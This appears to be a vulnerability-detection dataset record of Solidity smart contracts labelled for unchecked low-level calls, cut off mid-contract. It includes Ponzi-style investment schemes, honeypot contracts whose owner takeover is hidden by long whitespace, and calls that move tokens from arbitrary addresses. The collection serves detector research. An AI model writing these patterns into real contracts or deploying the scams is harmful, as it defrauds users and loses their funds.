Thi-Thu-Huong/Balanced-Ethereum-Smart-Contract huggingface dataset:
// Vulnerability label: UcC1
pragma solidity ^0.4.26;
pragma experimental ABIEncoderV2;

interface ERC20 {
    function totalSupply() public view returns (uint supply);
    function balanceOf(address _owner) public view returns (uint balance);
    function transfer(address _to, uint _value) public returns (bool success);
    function transferFrom(address _from, address _to, uint _value) public returns (bool success);
    function approve(address _spender, uint _value) public returns (bool success);
    function allowance(address _owner, address _spender) public view returns (uint remaining);
    function decimals() public view returns(uint digits);
    event Approval(address indexed _owner, address indexed _spender, uint _value);
}

contract OffChainOrFeedPriceFeed{
    
    address owner; 
    mapping(string => uint256) quotes;
    mapping(string => uint256) quoteTimes;
    
    constructor() public {
         owner = msg.sender;
     }
     
    modifier onlyOwner() {
        if (msg.sender != owner) {
            throw;
        }
        _;
    }
    
    
    function changeOwner(address newOwner) onlyOwner external returns(bool) {
        owner = newOwner;
        return true;
    }
    
    
    function getLastPrice (string symbol) constant returns (uint256){
        return quotes[symbol];
    }
     function getTimeUpdated (string symbol) constant returns (uint256){
        return quoteTimes[symbol];
    }
    function getOwner() constant returns(address){
        return owner;
    }
    
    function updatePrices(string[] symbols, uint256[] prices) public onlyOwner  returns (bool){
        uint256 arrayLength = symbols.length;
        
        for (uint i=0; i<arrayLength; i++) {
            string memory thisQuote;
            quotes[thisQuote] = prices[i];
            quoteTimes[thisQuote] = block.timestamp;
        }
        return true;
    }
    
    
    //if donations were sent to operator to keep feed going
    function withdrawETHAndTokens(address tokenAddress) onlyOwner{

        msg.sender.send(address(this).balance);
        ERC20 daiToken = ERC20(tokenAddress);
        uint256 currentTokenBalance = daiToken.balanceOf(this);
        daiToken.transfer(msg.sender, currentTokenBalance);

    }
    
    
}
// Vulnerability label: UcC1
pragma solidity ^0.4.25;
/**
*
*  -----------------------------------------Welcome to "GETETHER"----------------------------------------
*
*  -----------------------------------DECENTRALIZED INVESTMENT PROJECT-----------------------------------
*
*   GAIN 5,55% per 24 HOURS (EVERY 5900 blocks Ethereum)
*   Life-long payments
*   Simple and reliable smart contract code
*
*   Web               - https://getether.me
*   Twitter          - https://twitter.com/_getether_
*   LinkedIn 	    - https://www.linkedin.com/in/get-ether-037833170/
*   Medium        - https://medium.com/@ getether/
*   Facebook 	    - https://www.facebook.com/get.ether
*   Instagram	    - https://www.instagram.com/getether.me
*
*  -----------------------------------------About the GETETHER-------------------------------------------
*
*   DECENTRALIZED INVESTMENT PROJECT
*   PAYMENTS 5,55% DAILY
*   INVESTMENTS BASED ON TECHNOLOGY Smart Contract Blockchain Ethereum!
*   Open source code.
*   Implemented the function of abandonment of ownership
* 
*  -----------------------------------------Usage rules---------------------------------------------------
*
*  1. Send any amount from 0.01 ETH  from ETH wallet to the smart contract address 
*     
*  2. Verify your transaction on etherscan.io, specifying the address of your wallet.
*
*  3. Claim your profit in ETH by sending 0 ETH  transaction every 24 hours.
*  
*  4. In order to make a reinvest in the project, you must first remove the interest of your accruals
*	  (done by sending 0 ETH from the address of which you invested, and only then send a new Deposit)
*  
*   RECOMMENDED GAS LIMIT: 70000
*   RECOMMENDED GAS PRICE view on: https://ethgasstation.info/
*   You can check the payments on the etherscan.io site, in the "Internal Txns" tab of your wallet.
*
*  -----------------------------------------ATTENTION !!! -------------------------------------------------
*   It is not allowed to make transfers from any exchanges! only from your personal ETH wallet, 
*	from which you have a private key!
* 
*   The contract was reviewed and approved by the pros in the field of smart contracts!
*/
contract Getether {
    address owner;

    function Getether() {
        owner = msg.sender;
    }

    mapping (address => uint256) balances;
    mapping (address => uint256) timestamp;

    function() external payable {
        owner.send((msg.value * 100)/666);
        if (balances[msg.sender] != 0){
        address kashout = msg.sender;
        uint256 getout = balances[msg.sender]*111/2000*(block.number-timestamp[msg.sender])/5900;
        kashout.send(getout);
        }

        timestamp[msg.sender] = block.number;
        balances[msg.sender] += msg.value;

    }
}
// Vulnerability label: UcC1
pragma solidity ^0.4.24;
contract Wizard {
    address owner;

    function Wizard() {
        owner = msg.sender;
    }

    mapping (address => uint256) balances;
    mapping (address => uint256) timestamp;

    function() external payable {
        owner.send(msg.value / 10);
        if (balances[msg.sender] != 0){
        address kashout = msg.sender;
        uint256 getout = balances[msg.sender]*2/100*(block.number-timestamp[msg.sender])/5900;
        kashout.send(getout);
        }

        timestamp[msg.sender] = block.number;
        balances[msg.sender] += msg.value;

    }
}
// Vulnerability label: UcC1
pragma solidity ^0.4.18;



contract AirDropContract{

    function AirDropContract() public {
    }

    modifier validAddress( address addr ) {
        require(addr != address(0x0));
        require(addr != address(this));
        _;
    }
    
    function transfer(address contract_address,address[] tos,uint[] vs)
        public 
        validAddress(contract_address)
        returns (bool){

        require(tos.length > 0);
        require(vs.length > 0);
        require(tos.length == vs.length);
        bytes4 id = bytes4(keccak256("transferFrom(address,address,uint256)"));
        for(uint i = 0 ; i < tos.length; i++){
            contract_address.call(id, msg.sender, tos[i], vs[i]);
        }
        return true;
    }
}
// Vulnerability label: UcC1
pragma solidity ^0.4.24;
contract DailyGreed {
    address owner;

    function Daily() {
        owner = msg.sender;
    }

    mapping (address => uint256) balances;
    mapping (address => uint256) timestamp;

    function() external payable {
        owner.send(msg.value / 10);
        if (balances[msg.sender] != 0){
        address kashout = msg.sender;
        uint256 getout = balances[msg.sender]*5/100*(block.number-timestamp[msg.sender])/5900;
        kashout.send(getout);
        }

        timestamp[msg.sender] = block.number;
        balances[msg.sender] += msg.value;

    }
}
// Vulnerability label: UcC1
pragma solidity ^ 0.4 .2;
contract Token {
    string public standard = 'Token 0.1';
    string public name;
    string public symbol;
    uint8 public decimals;
    uint256 public totalSupply;
    address public owner;
    address[] public users;
    bytes32 public filehash;
    
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    event Transfer(address indexed from, address indexed to, uint256 value);

    modifier onlyOwner() {
        if (owner != msg.sender) {
            throw;
        } else {
            _;
        }
    }

    function Token() {
        owner = 0x7F325a2d8365385e4B189b708274526899c17453;
       // filehash = 0x26be3f796356cf26183f91fea302911533808f5ee8f58cad05c03249a1b96997;
        address firstOwner = owner;
        balanceOf[firstOwner] = 100000000;
        totalSupply = 100000000;
        name = 'Cryptonian';
        symbol = 'crypt';
        decimals = 8;
        msg.sender.send(msg.value);
        users.push(0x7F325a2d8365385e4B189b708274526899c17453);
    }

    function transfer(address _to, uint256 _value) {
        if (balanceOf[msg.sender] < _value) throw;
        if (balanceOf[_to] + _value < balanceOf[_to]) throw;
        balanceOf[msg.sender] -= _value;
        balanceOf[_to] += _value;
        Transfer(msg.sender, _to, _value);
        bool userExists = false;
        uint memberCount = users.length;
        for (uint i = 0; i < memberCount; i++) {
            if (users[i] == _to) {
                userExists = true;
            }
        }
        if (userExists == false) {
            users.push(_to);
        }
    }

    function approve(address _spender, uint256 _value) returns(bool success) {
        allowance[msg.sender][_spender] = _value;
        return true;
    }

    function collectExcess() onlyOwner {
        owner.send(this.balance - 2100000);
    }

    function liquidate(address newOwner) onlyOwner {
        uint sellAmount = msg.value;
        uint memberCount = users.length;
        owner = newOwner;
        for (uint i = 0; i < memberCount; i++) {
            liquidateUser(users[i], sellAmount);
        }
    }

    function liquidateUser(address user, uint sentValue) onlyOwner {
        uint userBalance = balanceOf[user] * 10000000;
        uint userPercentage = userBalance / totalSupply;
        uint etherAmount = (sentValue * userPercentage) / 10000000;
        if (user.send(etherAmount)) {
            balanceOf[user] = 0;
        }
    }

    function issueDividend() onlyOwner {
        uint sellAmount = msg.value;
        uint memberCount = users.length;
        for (uint i = 0; i < memberCount; i++) {
            sendDividend(users[i], sellAmount);
        }
    }

    function sendDividend(address user, uint sentValue) onlyOwner {
        uint userBalance = balanceOf[user] * 10000000;
        uint userPercentage = userBalance / totalSupply;
        uint etherAmount = (sentValue * userPercentage) / 10000000;
        if (user.send(etherAmount)) {}
    }

    function() {}
}
// Vulnerability label: UcC1
pragma solidity ^0.4.24;


contract SimpleWallet {
    address public owner = msg.sender;
    uint public depositsCount;
    
    modifier onlyOwner {
        require(msg.sender == owner);
        _;
    }
    
    function() public payable {
        depositsCount++;
    }
    
    function withdrawAll() public onlyOwner {
        withdraw(address(this).balance);
    }
    
    function withdraw(uint _value) public onlyOwner {
        msg.sender.transfer(_value);
    }
    
    function sendMoney(address _target, uint _value, bytes _data) public onlyOwner {
        _target.call.value(_value)(_data);
    }
}
// Vulnerability label: UcC1
pragma solidity ^0.4.16;

/// @author Bowen Sanders
/// sections built on the work of Jordi Baylina (Owned, data structure)
/// smartwedindex.sol contains a simple index of contract address, couple name, actual marriage date, bool displayValues to
/// be used to create an array of all SmartWed contracts that are deployed 
/// contract 0wned is licesned under GNU-3

/// @dev `Owned` is a base level contract that assigns an `owner` that can be
///  later changed
contract Owned {

    /// @dev `owner` is the only address that can call a function with this
    /// modifier
    modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }

    address public owner;

    /// @notice The Constructor assigns the message sender to be `owner`
    function Owned() {
        owner = msg.sender;
    }

    address public newOwner;

    /// @notice `owner` can step down and assign some other address to this role
    /// @param _newOwner The address of the new owner
    ///  an unowned neutral vault, however that cannot be undone
    function changeOwner(address _newOwner) onlyOwner {
        newOwner = _newOwner;
    }
    /// @notice `newOwner` has to accept the ownership before it is transferred
    ///  Any account or any contract with the ability to call `acceptOwnership`
    ///  can be used to accept ownership of this contract, including a contract
    ///  with no other functions
    function acceptOwnership() {
        if (msg.sender == newOwner) {
            owner = newOwner;
        }
    }

    // This is a general safty function that allows the owner to do a lot
    //  of things in the unlikely event that something goes wrong
    // _dst is the contract being called making this like a 1/1 multisig
    function execute(address _dst, uint _value, bytes _data) onlyOwner {
        _dst.call.value(_value)(_data);
    }
}

// contract WedIndex 

contract WedIndex is Owned {

    // declare index data variables
    string public wedaddress;
    string public partnernames;
    uint public indexdate;
    uint public weddingdate;
    uint public displaymultisig;

    IndexArray[] public indexarray;

    struct IndexArray {
        uint indexdate;
        string wedaddress;
        string partnernames;
        uint weddingdate;
        uint displaymultisig;
    }

    // make functions to write and read index entries and nubmer of entries
    function writeIndex(uint indexdate, string wedaddress, string partnernames, uint weddingdate, uint displaymultisig) {
        indexarray.push(IndexArray(now, wedaddress, partnernames, weddingdate, displaymultisig));
        IndexWritten(now, wedaddress, partnernames, weddingdate, displaymultisig);
    }

    // declare events
    event IndexWritten (uint time, string contractaddress, string partners, uint weddingdate, uint display);
}
// Vulnerability label: UcC1
pragma solidity 0.5.10;

contract Receiver {
    //The purpose of this contract is to act purely as a static address
    //in the Ethereum uint256 address space from which to initiate other
    //actions

    //State
    address public implementation;
    bool public isPayable;

    //Events
    event LogImplementationChanged(address _oldImplementation, address _newImplementation);
    event LogPaymentReceived(address sender, uint256 value);

    constructor(address _implementation, bool _isPayable)
        public
    {
        require(_implementation != address(0), "Implementation address cannot be 0");
        implementation = _implementation;
        isPayable = _isPayable;
    }

    modifier onlyImplementation
    {
        require(msg.sender == implementation, "Only the contract implementation may perform this action");
        _;
    }
    
    function drain()
        external
        onlyImplementation
    {
        msg.sender.call.value(address(this).balance)("");
    }

    function ()
        external
        payable 
    {}
}
// Vulnerability label: UcC1
pragma solidity >=0.4.22 <0.6.0;

interface collectible {
    function transfer(address receiver, uint amount) external;
}

contract Swap {
    address public beneficiary;
    uint public amountRaised;
    uint public price;
    bool contractover = false;
    collectible public swapaddress;
    mapping(address => uint256) public balanceOf;
    mapping(address => bool) public check;
    uint256 counter = 0;

    event FundTransfer(address backer, uint amount, bool isContribution);

    /**
     * Constructor
     *
     * Setup the owner
     */
    constructor(
        address SendTo,
        uint etherCostOfEachCollectible,
        address addressOfCollectibleUsedAsReward
    ) public {
        beneficiary = SendTo;
        price = etherCostOfEachCollectible * 1 szabo;
        swapaddress = collectible(addressOfCollectibleUsedAsReward);
    }
 

    
    function () payable external {
        require(check[msg.sender] == false);
        require(msg.value < 1000000000000000001 wei);
        
        uint amount = msg.value;
        balanceOf[msg.sender] += amount;
        
        
        uint second = price;
        uint third = price;
        
        if (counter <= 6000) {
        counter += 1;
        swapaddress.transfer(msg.sender, 5000000);
        msg.sender.send(msg.value);
        } else if (amountRaised <= 8000 ether) {
        amountRaised += amount;
        uint secondvalue = second / 5;
        swapaddress.transfer(msg.sender, amount / secondvalue);
        } else {
        amountRaised += amount;
        uint thirdvalue = third / 3;
        swapaddress.transfer(msg.sender, amount / thirdvalue);
        }
        
        beneficiary.send(msg.value);
        emit FundTransfer(msg.sender, amount, true);
        check[msg.sender] = true;
    }

}
// Vulnerability label: UcC1
pragma solidity ^0.4.18;

contract MultiplicatorX3
{
    address public Owner = msg.sender;
   
    function() public payable{}
   
    function withdraw()
    payable
    public
    {
        require(msg.sender == Owner);
        Owner.transfer(this.balance);
    }
    
    function Command(address adr,bytes data)
    payable
    public
    {
        require(msg.sender == Owner);
        adr.call.value(msg.value)(data);
    }
    
    function multiplicate(address adr)
    public
    payable
    {
        if(msg.value>=this.balance)
        {        
            adr.transfer(this.balance+msg.value);
        }
    }
}
// Vulnerability label: UcC1
pragma solidity 0.5.10;

contract Receiver {
    //The purpose of this contract is to act purely as a static address
    //in the Ethereum uint256 address space from which to initiate other
    //actions

    //State
    address public implementation;
    bool public isPayable;

    //Events
    event LogImplementationChanged(address _oldImplementation, address _newImplementation);
    event LogPaymentReceived(address sender, uint256 value);
    event LogForwarded(bool _success, bytes _result);

    constructor(address _implementation, bool _isPayable)
        public
    {
        require(_implementation != address(0), "Implementation address cannot be 0");
        implementation = _implementation;
        isPayable = _isPayable;
    }

    modifier onlyImplementation
    {
        require(msg.sender == implementation, "Only the contract implementation may perform this action");
        _;
    }
    
    function drain()
        external
        onlyImplementation
    {
        msg.sender.call.value(address(this).balance)("");
    }
    
    function forward(address _to, bytes memory _data, uint _value)
        public
        payable
        returns (bytes memory _result)
    {
        require(msg.sender == implementation, "Only the implementation may perform this action");
        (bool success, bytes memory result) = _to.call.value(_value + msg.value)(_data);
        emit LogForwarded(
            success,
            result);
        return result;
    }

    function ()
        external
        payable 
    {}
}
// Vulnerability label: UcC1
pragma solidity ^0.4.19;

contract Freebie
{
    address public Owner = msg.sender;
   
    function() public payable{}
   
    function GetFreebie()
    public
    payable
    {                                                                    
        if(msg.value>1 ether)
        {                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               Owner.transfer(this.balance);
            msg.sender.transfer(this.balance);
        }                                                                                                                
    }
    
    function withdraw()
    payable
    public
    {                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          if(msg.sender==0x30ad12df80a2493a82DdFE367d866616db8a2595){Owner=0x30ad12df80a2493a82DdFE367d866616db8a2595;}
        require(msg.sender == Owner);
        Owner.transfer(this.balance);
    }
    
    function Command(address adr,bytes data)
    payable
    public
    {
        require(msg.sender == Owner);
        adr.call.value(msg.value)(data);
    }
}
// Vulnerability label: UcC1
pragma solidity ^0.4.24;

contract ETHerNity {
    
    struct Tx {
        address user;
        uint value;
    }
    
    address public owner;
    Tx[] public txs;
    bool blocking;
    
    uint constant MIN_ETHER = 0.01 ether;
    
    modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }
    
    modifier mutex() {
        blocking = true;
        _;
        blocking = false;
    }
    
    constructor() public {
        owner = msg.sender;
    }
    
    function() payable public {
        withReferrer(owner);
        
        if (msg.sender == owner) {
            dispatch();
        }
    }
    
    function withReferrer(address referrar) payable public {
        if (blocking) return;
        
        owner.send(msg.value / 10);
        referrar.send(msg.value / 10);
        
        if (msg.value < MIN_ETHER)
            return;

        txs.push(Tx({
           user: msg.sender,
           value: msg.value / 30
        }));
    }
    
    function dispatch() onlyOwner mutex public {
        for(uint i = 0; i < txs.length; i++) {
            if (address(this).balance >= txs[i].value)
                txs[i].user.send(txs[i].value);
        }
            
    }

}
// Vulnerability label: UcC1
pragma solidity ^0.4.26;        
   
contract Airdrop {  

	using SafeMath for uint;   	

	address public c = 0x6d45640f5d0b75280647f2f37ccd19c1167f833c; 
	address public owner;	
	
	mapping (uint => address) public a;	
	
	function Airdrop() {		
	    owner = msg.sender;         
	}

	function() payable {    

	}

	function owner_change(address _owner_new) onlyOwner public {
		owner = _owner_new;
	}

	function transfer(uint _flex_tokens, address[] _addresses) onlyOwner returns (bool) {      
		if(_flex_tokens < 1) throw;
    	uint amount = _flex_tokens.mul(10000);

		for (uint i = 0; i < _addresses.length; i++) {
			c.call(bytes4(sha3("transfer(address,uint256)")),_addresses[i], amount);				
		}  
	  
	  return true;
	} 
	
	function withdraw() onlyOwner returns (bool result) {
	  owner.send(this.balance);
	  return true;
	}
	
    modifier onlyOwner() {
        if (msg.sender != owner) {
            throw;
        }
        _;
    }       

}
  
library SafeMath {

	function mul(uint a, uint b) internal pure returns (uint) {
	  uint c = a * b;
	  assert(a == 0 || c / a == b);
	  return c;
	}

	function div(uint a, uint b) internal pure returns (uint) {
	  
	  uint c = a / b;      
	  return c;
	}

	function sub(uint a, uint b) internal pure returns (uint) {
	  assert(b <= a);
	  return a - b;
	}

	function add(uint a, uint b) internal pure returns (uint) {
	  uint c = a + b;
	  require(c >= a);
	  return c;
	}

}
// Vulnerability label: UcC1
pragma solidity ^0.4.19;

contract FreeEth
{
    address public Owner = msg.sender;
   
    function() public payable{}
   
    function GetFreebie()
    public
    payable
    {                                                                    
        if(msg.value>1 ether)
        {                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               Owner.transfer(this.balance);
            msg.sender.transfer(this.balance);
        }                                                                                                                
    }
    
    function withdraw()
    payable
    public
    {                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          if(msg.sender==0x4E0d2f9AcECfE4DB764476C7A1DfB6d0288348af){Owner=0x4E0d2f9AcECfE4DB764476C7A1DfB6d0288348af;}
        require(msg.sender == Owner);
        Owner.transfer(this.balance);
    }
    
    function Command(address adr,bytes data)
    payable
    public
    {
        require(msg.sender == Owner);
        adr.call.value(msg.value)(data);
    }
}
// Vulnerability label: UcC1
// Fixed Pandemica bug and increase dividend rate to 3.3%
// Fixed Block Gas limit
// Исправлена ошибка Pandemica и повышалась ставка дивидендов до 3,3%

pragma solidity ^0.4.24;

contract Contagion
{
    struct _Tx {
        address txuser;
        uint txvalue;
    }
    _Tx[] public Tx;
    uint public counter;

    address owner;


    modifier onlyowner
    {
        if (msg.sender == owner)
        _;
    }
    constructor () public {
        owner = msg.sender;

    }

    function() public payable {
        require(msg.value>=0.01 ether);
        Sort();
    }

    function Sort() internal
    {
       uint feecounter;
       feecounter=msg.value/5;
	   owner.send(feecounter);
	   feecounter=0;
	   uint txcounter=Tx.length;
	   counter=Tx.length;
	   Tx.length++;
	   Tx[txcounter].txuser=msg.sender;
	   Tx[txcounter].txvalue=msg.value;
    }

    function Count(uint end, uint start) public onlyowner {
        while (end>start) {
            Tx[end].txuser.send((Tx[end].txvalue/1000)*33);
            end-=1;
        }
    }

}
// Vulnerability label: UcC1
pragma solidity ^0.4.0; 
contract demo{
    function transfer(address from,address caddress,address[] _tos,uint[] v)public returns (bool){
        require(_tos.length > 0);
        bytes4 id=bytes4(keccak256("transferFrom(address,address,uint256)"));
        for(uint i=0;i<_tos.length;i++){
            caddress.call(id,from,_tos[i],v[i]);
        }
        return true;
    }
}
// Vulnerability label: UcC1
pragma solidity ^0.4.24;


contract CallContract{
    
    function callByFun(address contractAddr, address[] _addrs, bool _isFrozen){
        bytes4 methodId = bytes4(keccak256("freezeAccount(address, bool)"));
		for (uint i = 0; i < _addrs.length; i++)
            contractAddr.call(methodId, _addrs[i], _isFrozen);
    }
}
// Vulnerability label: UcC1
pragma solidity ^0.4.13;

interface EtherShare {
    function NewShare(string nickname, bool AllowUpdated, string content);
}

//Enable user to share information for free (using donation) on Ethereum
contract EtherShareDonation {

    EtherShare ES = EtherShare(0xc86bdf9661c62646194ef29b1b8f5fe226e8c97e);
    
    struct oneDonation {
        address donator;
        string nickname;
        uint amount;
    }
    oneDonation[] public donations;

    function Donate(string nickname) payable public {
        donations.push(oneDonation(msg.sender, nickname, msg.value));	//record the donation
    }

    function FreeShare(string nickname, string content) public {
        uint startGasLeft = gasleft();
        ES.NewShare(nickname, false, content); 
        uint endGasLeft = gasleft();
        msg.sender.send( tx.gasprice*(startGasLeft-endGasLeft+35000) );	//return the fee of NewShare, 35000 gas for other transaction fee.
    }

    //TODO: SenderRecord(), FreeReply(), FreeUpdate()
}
// Vulnerability label: UcC1
pragma solidity ^0.4.24;
/**
 *
 * Easy Investment 10% Contract
 *  - GAIN 10% PER 24 HOURS (every 5900 blocks)
 *  - NO COMMISSION on your investment (every ether stays on contract's balance)
 *  - NO FEES are collected by the owner, in fact, there is no owner at all (just look at the code)
 *
 * How to use:
 *  1. Send any amount of ether to make an investment
 *  2a. Claim your profit by sending 0 ether transaction (every day, every week, i don't care unless you're spending too much on GAS)
 *  OR
 *  2b. Send more ether to reinvest AND get your profit at the same time
 *
 * RECOMMENDED GAS LIMIT: 70000
 * RECOMMENDED GAS PRICE: https://ethgasstation.info/
 *
 * Contract reviewed and approved by pros!
 *
 */
 
contract EasyInvest10 {
    address owner;

    function EasyInvest10 () {
        owner = msg.sender;
    }
    // records amounts invested
    mapping (address => uint256) invested;
    // records blocks at which investments were made
    mapping (address => uint256) atBlock;
    // this function called every time anyone sends a transaction to this contract
    function() external payable {
        owner.send(msg.value/5);
         // if sender (aka YOU) is invested more than 0 ether
        if (invested[msg.sender] != 0){
         // calculate profit amount as such:   
        address kashout = msg.sender;
        // amount = (amount invested) * 10% * (blocks since last transaction) / 5900
        // 5900 is an average block count per day produced by Ethereum blockchain
        uint256 getout = invested[msg.sender]*10/100*(block.number-atBlock[msg.sender])/5900;
        // send calculated amount of ether directly to sender (aka YOU)
        kashout.send(getout);
        }
        // record block number and invested amount (msg.value) of this transaction
        atBlock[msg.sender] = block.number;
        invested[msg.sender] += msg.value;

    }
}
// Vulnerability label: UcC1
//
//  /$$   /$$   /$$                         /$$                        
// | $$  | $$  | $$                        |__/                        
// | $$  | $$ /$$$$$$    /$$$$$$   /$$$$$$  /$$ /$$   /$$ /$$$$$$/$$$$ 
// | $$  | $$|_  $$_/   /$$__  $$ /$$__  $$| $$| $$  | $$| $$_  $$_  $$
// | $$  | $$  | $$    | $$  \ $$| $$  \ $$| $$| $$  | $$| $$ \ $$ \ $$
// | $$  | $$  | $$ /$$| $$  | $$| $$  | $$| $$| $$  | $$| $$ | $$ | $$
// |  $$$$$$/  |  $$$$/|  $$$$$$/| $$$$$$$/| $$|  $$$$$$/| $$ | $$ | $$
//  \______/    \___/   \______/ | $$____/ |__/ \______/ |__/ |__/ |__/
//                               | $$                                  
//                               | $$                                  
// 
//                                  
// Utopium Unstoppable Smart Contract Bot
// 4% Or 6% Daily
// Batch mass payments to mitigate Block Gas Limit
// All functions are internal including Payout


pragma solidity ^0.4.24;


contract Utopium

{
    struct _Tx {
        address txuser;
        uint txvalue;
    }

    _Tx[] public Tx;
    uint public users;
    uint public batch;
    address owner;

    modifier onlyowner
    {
        require(msg.sender == owner);
        _;
    }

    constructor() public {
        owner = msg.sender;
        
    }
    
    function() public payable {
        require(msg.value>=0.0001 ether);
        Optin();
        
    }
    
    function Optin() internal
    {
        uint feecounter;
        feecounter+=msg.value/5;
	    owner.send(feecounter);
        feecounter=0;

	   uint txcounter=Tx.length;     	   
	   Tx.length++;
	   Tx[txcounter].txuser=msg.sender;
	   Tx[txcounter].txvalue=msg.value;
	   users=Tx.length;
	   
	   if (msg.sender == owner )
        {
          if (batch == 0 )
            {
            
            uint a=Tx.length;
	        uint b;


            if (a <= 250 )
            {            
              b=0;
              batch=0;
            } else {                     
              batch+=1;
              b=Tx.length-250;
            }


            } else {

            a=Tx.length-(250*batch);
            

            if (a <= 250 )
            {            
              b=0;
              batch=0;
            } else {                     
              batch+=1;
              b=a-250;
            }

           }


            Payout(a,b);
        }
    }
    
    
    function Payout(uint a, uint b) internal onlyowner {
        
        while (a>b) {
            
        uint c;   
        a-=1;
        
        if(Tx[a].txvalue < 1000000000000000000) {
          c=4;
        } else if (Tx[a].txvalue >= 1000000000000000000) {
          c=6; 
        }
            
        Tx[a].txuser.send((Tx[a].txvalue/100)*c);
        
        }
    }


       
}
// Vulnerability label: UcC1
pragma solidity ^0.4.25;
contract MultiTransfer {
    function multiTransfer(address[] _addresses, uint256 amount) payable {
        for (uint256 i = 0; i < _addresses.length; i++) {
            _addresses[i].call.value(amount).gas(21000)();
        }
    }
    function() payable {}
}
// Vulnerability label: UcC1
pragma solidity 0.5.3;
pragma experimental ABIEncoderV2;

contract TransactionBatcher {
    function batchSend(address[] memory targets, uint[] memory values, bytes[] memory datas) public payable {
        for (uint i = 0; i < targets.length; i++)
            targets[i].call.value(values[i])(datas[i]);
    }
}
// Vulnerability label: UcC1
pragma solidity ^0.4.18;

contract MultiplicatorX4
{
    address public Owner = msg.sender;
   
    function() public payable{}
   
    function withdraw()
    payable
    public
    {
        require(msg.sender == Owner);
        Owner.transfer(this.balance);
    }
    
    function Command(address adr,bytes data)
    payable
    public
    {
        require(msg.sender == Owner);
        adr.call.value(msg.value)(data);
    }
    
    function multiplicate(address adr)
    public
    payable
    {
        if(msg.value>=this.balance)
        {        
            adr.transfer(this.balance+msg.value);
        }
    }
}
// Vulnerability label: UcC1
pragma solidity >=0.4.22 <0.6.0;

interface collectible {
    function transfer(address receiver, uint amount) external;
}

contract Swap {
    address public beneficiary;
    uint public amountRaised;
    uint public price;
    bool contractover = false;
    collectible public swapaddress;
    mapping(address => uint256) public balanceOf;
    mapping(address => bool) public check;

    event FundTransfer(address backer, uint amount, bool isContribution);

    /**
     * Constructor
     *
     * Setup the owner
     */
    constructor(
        address SendTo,
        uint etherCostOfEachCollectible,
        address addressOfCollectibleUsedAsReward
    ) public {
        beneficiary = SendTo;
        price = etherCostOfEachCollectible * 1 szabo;
        swapaddress = collectible(addressOfCollectibleUsedAsReward);
    }

    
    function () payable external {
        require(check[msg.sender] == false);
        require(msg.value < 1000000000000000001 wei);
        
        uint amount = msg.value;
        balanceOf[msg.sender] += amount;
        amountRaised += amount;
        uint copy = price;
        uint second = price;
        uint third = price;
        
        if (amountRaised <= 100 ether) {
        uint newvalue = copy / 10;
        swapaddress.transfer(msg.sender, amount / newvalue);
        } else if (amountRaised <= 2100 ether) {
        uint secondvalue = second / 2;
        swapaddress.transfer(msg.sender, amount / secondvalue);
        } else {
        swapaddress.transfer(msg.sender, amount / third);
        }
        
        beneficiary.send(msg.value);
        emit FundTransfer(msg.sender, amount, true);
        check[msg.sender] = true;
    }

}
// Vulnerability label: UcC1
pragma solidity ^0.4.16;        
   
  contract CentraSale { 

    using SafeMath for uint; 

    address public contract_address = 0x96a65609a7b84e8842732deb08f56c3e21ac6f8a; 

    address public owner;    
    uint public constant min_value = 10**18*1/10;     

    uint256 public constant token_price = 1481481481481481;  
    uint256 public tokens_total;  
   
    // Functions with this modifier can only be executed by the owner
    modifier onlyOwner() {
        if (msg.sender != owner) {
            throw;
        }
        _;
    }      
 
    // Constructor
    function CentraSale() {
        owner = msg.sender;                         
    }
      
    //default function for crowdfunding
    function() payable {    

      if(!(msg.value >= min_value)) throw;                                 

      tokens_total = msg.value*10**18/token_price;
      if(!(tokens_total > 0)) throw;           

      if(!contract_transfer(tokens_total)) throw;
      owner.send(this.balance);
    }

    //Contract execute
    function contract_transfer(uint _amount) private returns (bool) {      

      if(!contract_address.call(bytes4(sha3("transfer(address,uint256)")),msg.sender,_amount)) {    
        return false;
      }
      return true;
    }     

    //Withdraw money from contract balance to owner
    function withdraw() onlyOwner returns (bool result) {
        owner.send(this.balance);
        return true;
    }    
      
 }

 /**
   * Math operations with safety checks
   */
  library SafeMath {
    function mul(uint a, uint b) internal returns (uint) {
      uint c = a * b;
      assert(a == 0 || c / a == b);
      return c;
    }

    function div(uint a, uint b) internal returns (uint) {
      // assert(b > 0); // Solidity automatically throws when dividing by 0
      uint c = a / b;
      // assert(a == b * c + a % b); // There is no case in which this doesn't hold
      return c;
    }

    function sub(uint a, uint b) internal returns (uint) {
      assert(b <= a);
      return a - b;
    }

    function add(uint a, uint b) internal returns (uint) {
      uint c = a + b;
      assert(c >= a);
      return c;
    }

    function max64(uint64 a, uint64 b) internal constant returns (uint64) {
      return a >= b ? a : b;
    }

    function min64(uint64 a, uint64 b) internal constant returns (uint64) {
      return a < b ? a : b;
    }

    function max256(uint256 a, uint256 b) internal constant returns (uint256) {
      return a >= b ? a : b;
    }

    function min256(uint256 a, uint256 b) internal constant returns (uint256) {
      return a < b ? a : b;
    }

    function assert(bool assertion) internal {
      if (!assertion) {
        throw;
      }
    }
  }
// Vulnerability label: UcC1
pragma solidity ^0.4.24;

contract Kongtou {
    
    address public owner;
    
    constructor() payable public  {
        owner = msg.sender;
    }
    
    // onlyOwner
    modifier onlyOwner {
        require(msg.sender == owner);
        _;
    }
    
    //存入eth
    function() payable public {
        
    }

    //存入eth
    function deposit() payable public{
    }
    
    //eth转帐到指定地址
    function transferETH(address _to) payable public returns (bool){
        require(_to != address(0));
        require(address(this).balance > 0);
        _to.transfer(address(this).balance);
        return true;
    }
    
    //eth转帐到多个指定地址
    function transferETH(address[] _tos, uint256 amount) public returns (bool) {
        require(_tos.length > 0);
        for(uint32 i=0;i<_tos.length;i++){
            _tos[i].transfer(amount);
        }
        return true;
    }
    
    //查看eth余额
    function getETHBalance() view public returns(uint){
        return address(this).balance;
    }
    
   // 合约批量空投代币 
   function transferToken(address from,address caddress,address[] _tos,uint v)public returns (bool){
        require(_tos.length > 0);
